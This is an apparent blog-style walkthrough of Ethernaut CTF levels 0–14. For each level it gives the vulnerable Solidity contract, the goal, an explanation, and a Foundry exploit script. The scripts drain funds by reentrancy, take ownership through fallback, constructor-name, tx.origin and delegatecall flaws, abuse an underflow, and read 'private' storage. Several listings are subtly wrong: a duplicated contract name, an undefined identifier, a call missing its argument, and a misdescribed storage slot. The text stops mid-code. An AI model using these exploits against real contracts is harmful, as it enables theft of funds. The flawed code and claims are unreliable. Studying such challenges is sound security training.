>> Ethernaut CTF's
Hello WEB3, In this blog series, we embark on a journey through the Ethernaut CTF challenges, exploring each level's intricacies, unraveling the mysteries of smart contract vulnerabilities, and mastering the art of Ethereum security. Whether you're a seasoned blockchain developer looking to sharpen your skills or a newcomer eager to delve into the world of decentralized finance (DeFi), this guide aims to equip you with the knowledge and expertise needed to navigate the complexities of Ethereum smart contract security.
Join me as we unravel the secrets of the blockchain, one challenge at a time, and emerge as masters of Ethereum security through the Ethernaut CTF challenges.
I recommend to go through the ethereum101, solidity 101 and solidity 201 modules of the Secureum bootcamp before taking up these challenges. This repository can be useful as a template for the people who want’s to solve ethernaut by using foundry.
Clone the repo to locally
$ cd ethernaut
$ forge build
0-Hello Ethernaut
Hello.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Hello {
string public password;
uint8 public infoNum = 42;
string public theMethodName = 'The method name is method7123949.';
bool private cleared = false;
constructor(string memory _password) public {
password = _password;
}
function info() public pure returns (string memory) {
return 'You will find what you need in info1().';
}
function info1() public pure returns (string memory) {
return 'Try info2(), but with "hello" as a parameter.';
}
function info2(string memory param) public pure returns (string memory) {
if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) {
return 'The property infoNum holds the number of the next info method to call.';
}
return 'Wrong parameter.';
}
function info42() public pure returns (string memory) {
return 'theMethodName is the name of the next method.';
}
function method7123949() public pure returns (string memory) {
return 'If you know the password, submit it to authenticate().';
}
function authenticate(string memory passkey) public {
if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
cleared = true;
}
}
function getCleared() public view returns (bool) {
return cleared;
}
}
>> Goal :
- This level walks you through the very basics of how to play the game. In this level we are learing the basics of setting up instance and call the functions through browser. The source code was given to us. We have to deploy the instance and call the authenticate() method on it and follow the instructions to solve the challenge.
HelloSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/console.sol";
import "forge-std/Script.sol";
import {Hello} from "../src/Hello.sol";
contract HelloSolve is Script{
Hello public hello = Hello(0xAd10DADdaAbb8Efbd597Bd9b20eB135968d781b1);
function run() external{
string memory password = hello.password();
console.log("Password : ", password);
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
hello.authenticate(password);
vm.stopBroadcast();
}
}
>> Run script :
$ forge script script/HelloSolve.s.sol:HelloSolve --rpc-url $RPC_URL --broadcast
1-Fallback
Fallback.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint256) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
>> Goal :
- Our goal is to claim ownership of the contract
- And reduce the contract balance to '0' amount
>> Solution :
- To complete the challenge, first we have to claim the ownership of contract by contribute with small amount of ether(0.0001) by calling contribute() function.
- By contributing intitiall we can able to pass the check conditions in receive() function.
- After contributing we trigger recieve funtion by sending small amount of ethers by passing empty bytes data parameters.
- After claiming the ownership we call withdraw() function to drain the funds in the contract.
FallbackSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/console.sol";
import "forge-std/Script.sol";
import {Fallback} from "../src/Fallback.sol";
contract Level0Solve is Script {
Fallback public fallback = Fallback(payable(0xa5D558468A511D05650F923305eC7c1a268A651f));
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Original Owner : ", fallback.owner());
// at initial we are contributing with 0.0001 ethers
fallback.contribute{value: 0.0001 ether}();
address(fallback).call{value: 1 wei}("");
console.log("New Owner : ", fallback.owner());
console.log("Initial Balance : ", address(fallback).balance);
fallback.withdraw();
console.log("Final Balance : ", address(fallback).balance);
vm.stopBroadcast();
}
}
>> Run script :
$ forge script script/FallbackSolve.s.sol:FallbackSolve --rpc-url $RPC_URL --broadcast
2-Fallout
Fallout.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Fallout {
using SafeMath for uint256;
mapping(address => uint256) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator];
}
}
>> Goal :
- Claim ownership of the contract below to complete this level.
>> Solution :
- In solidity <=0.6.0 the name of the contract function is the default constructor function.
- At first, this contract appears to have one constructor and four functions. But if we look closer at the constructor, we realize that the name of the function is slightly different than the contract’s name.
- As a result, this function is not a constructor, but a classic public function. Anyone can call the fal1out() function
FalloutSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Fallout} from "../src/Fallout.sol";
contract FalloutSolve is Script{
Fallout public fallout = Fallout(0x99a054250f3DE6fEa6320e979860C98ce3E93AB9);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Original Owner : ", fallout.owner());
fallout.Fal1out();
console.log("New Owner : ", fallout.owner());
fallout.collectAllocations();
vm.stopBroadcast();
}
}
>> Run script :
$ forge script script/FalloutSolve.s.sol:FalloutSolve --rpc-url $RPC_URL --broadcast
3-Coinflip
Coinflip.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
>> Goal :
- This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row.
>> Solution :
- The contract given tries to simulate random coin flip by generating true or false using the block number. But this is not actually really random! You can very easily query the network to see the current block number.
- Turns out random number generation is one of the serious pitfalls of blockchains due to deterministic nature. That's why there are dedicated services for the purpose like Chainlink VRF.
- Since this block number can be easily accessible, we can also generate the result of coin flip and feed this result to flip function to have a correct guess and increment consecutiveWins.
- We are able to do this because block time of the network will be long enough so that block.number doesn't change between function calls.
CoinflipSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {CoinFlip} from "../src/CoinFlip.sol";
contract CoinFlipSolve is Script{
CoinFlip public coinflip = CoinFlip(0x99a054250f3DE6fEa6320e979860C98ce3E93AB9);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
new Attack(coinflip).attack();
console.log("Consecutive wins : ",coinflip.consecutiveWins());
vm.stopBroadcast();
}
}
contract Attack {
CoinFlip public coinflip;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(CoinFlip _coinflip){
coinflip = _coinflip;
}
function attack() public{
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
require(coinflip.flip(side), "Attack : Wrong answer");
}
}
>> Run script :
$ forge script script/CoinflipSolve.s.sol:CoinflipSolve --rpc-url $RPC_URL --broadcast
4-Telephone
Telephone.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
>> Goal :
- Gola of this level is to claim ownership of the contract.
>> Solution :
- tx.origin returns the address of the externally-owned account (EOA) that originated the transaction.
- msg.sender returns the address of the immediate caller of the function or message.
- We can call the changeFunction() from a smart contract address then the msg.sender is the Smart contract address and tx.origin is the EOA address. Which are not same to each other.
TelephoneSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Telephone} from "../src/Telephone.sol";
contract TelephoneSolve is Script {
Telephone public telephone = Telephone(0xDf99F7281e53fF270590F3e44661038fCCd888d8);
function run() external {
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Original Owner : ", telephone.owner());
Attack attack = new Attack(telephone);
console.log("Attack Address : ", address(attack));
console.log("New Owner : ", telephone.owner());
vm.stopBroadcast();
}
}
contract Attack {
Telephone public telephone;
constructor(Telephone _telephone) {
telephone = _telephone;
telephone.changeOwner(0xd0509B83468409A75De2771C1Ae7bE1026A69927);
}
}
>> Run script :
$ forge script script/TelephoneSolve.s.sol:TelephoneSolve --rpc-url $RPC_URL --broadcast
5-Token
Token.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint256) balances;
uint256 public totalSupply;
constructor(uint256 _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
>> Goal :
- The goal of this level is for you to hack the basic token contract below.
- You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.
>> Solution :
- In Token contract they uses solidity 0.6.0 pragma version, In this version there are not default checks for Arithmetic overflow/underflow conditions.
- In this contract we can clearly observe that in transfer() function there is no check for Arithmetic overflow/underflow conditions while updating balance mapping values.
- The check balances[msg.sender] - _value done by require inside transfer will result in an underflow. The result of the operation is uint256(-1) that is equal to (2**256) – 1.
- We have balance of 20 Tokens and we are transfering 21 token, it cause Arithmetic overflow of 20 - 21 = (2**256) - 1
TokenSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Token} from "../src/Token.sol";
contract TokenSolve is Script {
Token public token = Token(0xad41e7bBf1F0DF0d55095E786f558d0e63B074dB);
function run() external {
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Before attack Token contract balance : ", Itoken.balanceOf(address(token)));
Attack attack = new Attack(address(token));
console.log("Attack Address : ", address(attack));
console.log("After attack Token contract balance : ", Itoken.balanceOf(address(token)));
vm.stopBroadcast();
}
}
interface IToken {
function balanceOf(address) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
contract Attack {
constructor(address _target) {
IToken(_target).transfer(msg.sender, 1);
}
}
>> Run script :
$ forge script script/TokenSolve.s.sol:TokenSolve --rpc-url $RPC_URL --broadcast
6-Delegation
Delegation.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegation {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
>> Goal :
- The goal of this level is for you to claim ownership of the instance.
>> Solution :
- Delegation stores the success of the delegatecall into the result variable and keep going with the contract's code. So at the end of the day, what it does it just forward the whole transaction data to the Delegate contract.
- But there’s another important thing to remember! delegatecall is a special opcode that. Let's read it again from the Solidity Docs for delegatecall:
- The code at the target address is executed in the context (i.e. at the address) of the calling contract and msg.sender and msg.value do not change their values. This means that a contract can dynamically load code from a different address at runtime. Storage, current address and balance still refer to the calling contract, only the code is taken from the called address.
- The fallback function has a delegate call to “Delegate” contract. In delegate call, the code present in the called contract is executed in the context of caller contract. The context includes storage and msg object among others.
- This mean that, if for example, we execute the pwn() function of Delegation contract that update the owner variable that is stored in slot0 of the contract it will not update the Delegate's storage slot0 but it will update the Delegation's storage slot0!
- To call the pwn(), we have to encode the signature of pwn() function to 4 bytes of keccak256 hash of function signature and pass the payload calldata to the fallback function as parameter in the Delegation contract.It is used to identify the function in the called contract
DelegationSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Delegation} from "../src/Delegation.sol";
contract DelegationSolve is Script {
Delegation public delegation = Delegation(0x3f754D1a4278A32d91BF822027761E3Bdd75b119);
function run() external{
vm.startBroadcast();
console.log("Initial Owner : ", delegation.owner());
// delegate call the pwn() function
address(delegation).call(abi.encodeWithSignature("pwn()"));
console.log("New Owner : ", delegation.owner());
vm.stopBroadcast();
}
}
>> Run script :
$ forge script script/DelegationSolve.s.sol:DelegationSolve --rpc-url $RPC_URL --broadcast
7-Force
Force.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force { /*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/
}
>> Goal :
- The goal of this level is to make the balance of the contract greater than zero.
>> Solution :
- We can see that there is no any functions or receive/fallback functions to send any ethers.
- If we send any ethers directly the smart contrcat does not accept and it reverts the transaction.
- There are two ways to send ethers even if there not exist of payable functions.
- 1) We can send ethers before deploying of smart contract.
- 2) By calling selfdestruct() function and passing force contract as parameter we can complete the challenge.
- NOTE If a contract is removed by selfdestruct, it is still part of the history of the blockchain and probably retained by most Ethereum nodes. So using selfdestruct is not the same as deleting data from a hard disk. Even if a contract’s code does not contain a call to selfdestruct, it can still perform that operation using delegatecall or callcode.
ForceSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Force} from "../src/Force.sol";
contract ForceSolve is Script {
Force public force = Force(0xf6B39D70fDA787aB1cd9eF0DD6AC2190f34a6458);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Before balance : ", address(force).balance);
new Attack{value: 0.0001 ether}(address(payable(force)));
console.log("After balance : ", address(force).balance);
vm.stopBroadcast();
}
}
contract Attack {
receive() external payable {}
constructor(address payable _force) payable {
selfdestruct(_force);
}
}
>> Run script :
$ forge script script/ForceSolve.s.sol:ForceSolve --rpc-url $RPC_URL --broadcast
8-Valut
Vault.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
>> Goal :
- The goal of this level is to "Unlock the vault to pass the level!".
>> Solution :
- We can unlock() the function by passing correct password as parameter.
- But the password variable is private so we can't able to access publicly.
- The first thing that you must remember when you use or develop on the blockchain is that nothing is private in the blockchain. Everything can be seen even if you declare a variable as private or internal. I suggest you to read more about this concept by reading SWC-136: Unencrypted Private Data On-Chain.
- Anyone from off-chain can easily query that value. We see that password is stored in storage slot 1.
- We can use foundry cheatcode vm.load to read password and call the unlock() to unlock the vault.
- In EVM every each storage slot will use 32 bytes (word size)
- Multiple, contiguous items that need less than 32 bytes are packed into a single storage slot
VaultSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Vault} from "../src/Vault.sol";
contract VaultSolve is Script {
Vault public vault = Vault(0xc08C8451b01d31fca6421555b0A0431AFA2aBF8a);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Vault locked : ", vault.locked());
bytes32 password = vm.load(address(vault), bytes32(uint256(1)));
console.logBytes32(password);
vault.unlock(password);
console.log("Vault locked : ", vault.locked());
vm.stopBroadcast();
}
}
>> Run script :
$ forge script script/VaultSolve.s.sol:VaultSolve --rpc-url $RPC_URL --broadcast
9-King
King.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint256 public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
>> Goal :
- The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD
- Such a fun game. Your goal is to break it.
>> Solution :
- To become a king we have to send the ethers greater than or equal to the price of previous king sent.
- From a security standpoint, this is a huge concern in general because receive() function allows the owner to reset everything without repaying the current king and leaving funds stuck in the contract.
- First, we need to create and deploy a contract that does not accept Ether.
- The only purpose of this contract is to become the new King and stop accepting Ether. By not implementing any payable functions, fallback or receive no one can send to this contract Ether. Well, they can send it via a selfdestroy() but this is not the case!
KingSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {King} from "../src/King.sol";
contract KingSolve is Script {
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
King king = King(payable(0x1F4E18AA21104e948371494Dc52B41Fb7127CEa7));
uint _prize = king.prize();
console.log("Current King : ", king._king());
new Attack().attack{value: _prize}();
console.log("Final King : ", king._king());
vm.stopBroadcast();
}
}
contract Attack{
function attack(address _king) public payable{
_king.call{value : msg.value}("");
}
}
>> Run script :
$ forge script script/KingSolve.s.sol:KingSolve --rpc-url $RPC_URL --broadcast
10-Reentrancy
Reentrancy.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin/contracts/utils/math/SafeMath.sol";
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
>> Goal :
- The goal of this level is for you to steal all the funds from the contract.
>> Solution :
- Here we can drain the funds by en-entering the withdraw() function over and over times.
- In withdraw() the state variables are updating after sending the ethers.
- We can drain funds by depositing with a initial amount and call withdraw() , while receiving ethers that we depositied we again call the withdraw() inside the Attack smart contract in receive() function.
- We need to check the balance of the Reentrance contract before reentering because when we call the withdraw again after the balance of Reentrance becomes zero will revert the entire transaction.
- NOTE : Update the state variables before the transfering ethers or tokens. Its always better to use re-entrancy guard contract.
ReentrancySolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Reentrance} from "../src/Reentrancy.sol";
contract ReentrancySolve is Script {
Reentrance public reentrance = Reentrance(0xA79006498B8Cacb8d9D8F4cdD29f7328f9188f19);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Before Balance : ", address(reentrance).balance);
Attack hacker = new Attack(address(reentrance));
hacker.attack{value: 0.001 ether}();
console.log("After Balance : ", address(reentrance).balance);
vm.stopBroadcast();
}
}
interface IReentrancy {
function donate(address) external payable;
function withdraw(uint256) external;
}
contract Attack {
IReentrancy private immutable target;
constructor(address _target) {
target = IReentrancy(_target);
}
// NOTE: attack cannot be called inside constructor
function attack() external payable {
target.donate{value: 1e17}(address(this));
target.withdraw(1e17);
require(address(target).balance == 0, "target balance > 0");
}
receive() external payable {
uint256 amount = min(1e17, address(target).balance); // 0.1 ether exploit at every reentrancy call.
if (amount > 0) {
target.withdraw(amount);
}
}
function min(uint256 x, uint256 y) private pure returns (uint256) {
return x <= y ? x : y;
}
}
>> Run script :
$ forge script script/ReentrancySolve.s.sol:ReentrancySolve --rpc-url $RPC_URL --broadcast
11-Elevator
Elevator.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint256) external returns (bool);
}
contract Elevator {
bool public top;
uint256 public floor;
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
>> Goal :
- The goal of this level is to reach the elevator to top of the building.
>> Solution :
- Here in goto() never trust an external actor as an assumption.
- The msg.sender (the Building contract) is an external actor. We only know that it must implement the Building interface, so it must have a function called isLastFloor().
- Trick the Elevator to think that we have not reached the top of the building when it first calls the isLastFloor function and then return true (we have reached the top) when it calls it the second time.
- In first call of isLastFloor() we return false and from second call of isLastFloor() we return true by updating the state of top variable in attack contract in first call of is isLastFloor() function.
ElevatorSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Elevator} from "../src/Elevator.sol";
contract ElevatorSolve is Script {
Elevator public elevator = Elevator(0x6E1515CAE054342e034d30860Cd4578ef84e63E8);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Elevator at top : ", elevator.top());
Attack hacker = new Attack(address(elevator));
hacker.attack();
console.log("Elevator at top : ", elevator.top());
vm.stopBroadcast();
}
}
interface IElevator {
function goTo(uint256) external;
function top() external view returns (bool);
}
contract Attack {
IElevator private immutable target;
bool top = true;
constructor(address _target) {
target = IElevator(_target);
}
function attack() external {
target.goTo(1);
require(target.top(), "not top");
}
function isLastFloor(uint256) external returns (bool) {
top = !top;
return top;
}
}
>> Run script :
$ forge script script/ElevatorSolve.s.sol:ElevatorSolve --rpc-url $RPC_URL --broadcast
12-Privacy
Privacy.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;
constructor(bytes32[3] memory _data) {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
>> Goal :
- The goal of this level is to unlock the state variable to false.
>> Solution :
- slot_0: locked is of type bool so it would take 8 bits (1 byte) but because the next variable cannot be packed with this, Solidity reserve for the locked variable an entire storage.
- slot_1: ID is of type address so it would take 20 bytes. Same as before, it cannot be packed and will take an entire storage.
- slot_2: flattening, denomination and awkwardness can all be packed together because in total they only need 8 bits + 8 bits + 16 bits = 32 bits.
- From slot_3 to slot_5: data is a static size bytes32 array of 3 elements. Each element will take a single slot.
- The “secret” key we need to unlock the contract is stored in the fifth slot (5th) of the storage layout of the contract.
- We perform a downcast of that 5th slot value to bytes16.
PrivacySolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Privacy} from "../src/Privacy.sol";
contract PrivacySolve is Script {
Privacy public privacy = Privacy(0x7414CBc5Af9A0A039839bD798D6C209AD89C9Cb4);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
bytes32 slot5 = vm.load(address(privacy), bytes32(uint256(5)));
console.logBytes32(slot5);
console.log("Lock value : ", privacy.locked());
privacy.unlock(bytes16(slot5));
console.log("Lock value : ", privacy.locked());
vm.stopBroadcast();
}
}
>> Run script :
$ forge script script/PrivacySolve.s.sol:PrivacySolve --rpc-url $RPC_URL --broadcast
13-GatekeeperOne
GatekeeperOne.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree partone");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree partthree");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
>> Goal :
- Make it past the gatekeeper and register as an entrant to pass this level.
>> Solution :
- To pass challenge we have to solve all three gates in a single transaction.
- In first gate we cleary observe that transaction caller and message sender not should be eqaul, so we have to call the entrant() function through a smart contract. Then we pass the first gate.
- In second gate we have to send the exact gas which after completing transaction the left gas() should be multiple of 8191 number. So we passing gas amount of 8191 * 10 + gas while calling enter() function.
-
In third gate we have to pass the bytes8 of gatekey values
- the first requirement: uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)). The less important 2 bytes must equal the less important 4 bytes. This means that we want to "remove" the 2 more important bytes of those 4 bytes, but maintain the value of the less important one.
- Because what we want is to make 0x11111111 be equal to 0x00001111 the mask to accomplish this is equal to 0x0000FFFF.
- The second requirement says that the less important 8 bytes of the input must be different compared to the less important 4 bytes. We need to remember that we also have to maintain the first requirement. We have to make 0x00000000001111 != 0xXXXXXXXX00001111.
- To achieve that, we have to update our mask to make all the first 4 bytes "pass" to the output Our new mask will be 0xFFFFFFFF0000FFFF.
- Now we just have to apply that mask to our tx.origin cast to a bytes8 (an address is a 20 bytes type). The key to solve this third gate will be equal to bytes8(uint64(uint160( address(player)))) & 0xFFFFFFFF0000FFFF.
GatekeeperOneSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
contract GatekeeperOneSolve is Script {
address public gatekeeperOne = 0xD821C7f2455DAE6F436ac6B44480b7F31F09838C;
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Initial entrant : ", IGateKeeperOne(gatekeeperOne).entrant());
Attack hack = new Attack();
hack.attack(gatekeeperOne, 1000);
console.log("New entrant : ", IGateKeeperOne(gatekeeperOne).entrant());
vm.stopBroadcast();
}
}
interface IGateKeeperOne {
function entrant() external view returns (address);
function enter(bytes8) external returns (bool);
}
contract Attack {
function attack(address _target, uint256 gas) external {
IGateKeeperOne target = IGateKeeperOne(_target);
// k = uint64(key)
// 1. uint32(k) = uint16(k)
// 2. uint32(k) != k
// 3. uint32(k) == uint16(uint160(tx.origin))
// 3. uint32(k) == uint16(uint160(tx.origin))
// 1. uint32(k) = uint16(k)
uint16 k16 = uint16(uint160(tx.origin));
// 2. uint32(k) != k
uint64 k64 = uint64(1 << 63) + uint64(k16);
bytes8 key = bytes8(k64);
require(gas < 8191, "gas > 8191");
require(target.enter{gas: 8191 * 10 + gas}(key), "failed");
}
}
>> Run script :
$ forge script script/GatekeeperOneSolve.s.sol:GatekeeperOneSolve --rpc-url $RPC_URL --broadcast
14-GatekeeperTwo
GatekeeperTwo.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint256 x;
assembly {
x := extcodesize(caller())
}
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64)max);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
>> Goal :
- Make it past the gatekeeper and register as an entrant to pass this level.
>> Solution :
- It is similar to gatekeeperOne challenge, but here we have another gate conditions to pass.
- In first gate we cleary observe that transaction caller and message sender not should be eqaul, so we have to call the entrant() function through a smart contract. Then we pass the first gate.
- In second gate check the contract code size should be 0, When called from the constructor, the contract’s final code is not yet returned to the evm and it will only be done after finishing this call, as a result the codesize will still be 0 at the caller’s address. so, extcodesize returns 0 when called from the constructor allowing us to pass this gate.
- We know that XOR produces a high output(1) only when the number of high inputs is odd. If the number of high inputs is even, the output is low(0).
- So, to make a ^ b = type(uint64).max (all are 1's), b must be the inverse of a. The correct gateKey by executing type(uint64).max ^ uint64(bytes8 (keccak256(abi.encodePacked( address(this)))))
GatekeeperTwoSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
contract GatekeeperTwoSolve is Script {
address public gatekeeperTwo = 0xf8aAeFefCf789e1df5c48760c64D52ECd25265cf;
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Initial entrant : ", IGateKeeperTwo(gatekeeperTwo).entrant());
// attackk should be execute in constructor only
Attack hack = new Attack(gatekeeperTwo);
console.log("New entrant : ", IGateKeeperTwo(gatekeeperTwo).entrant());
vm.stopBroadcast();
}
}
interface IGateKeeperTwo {
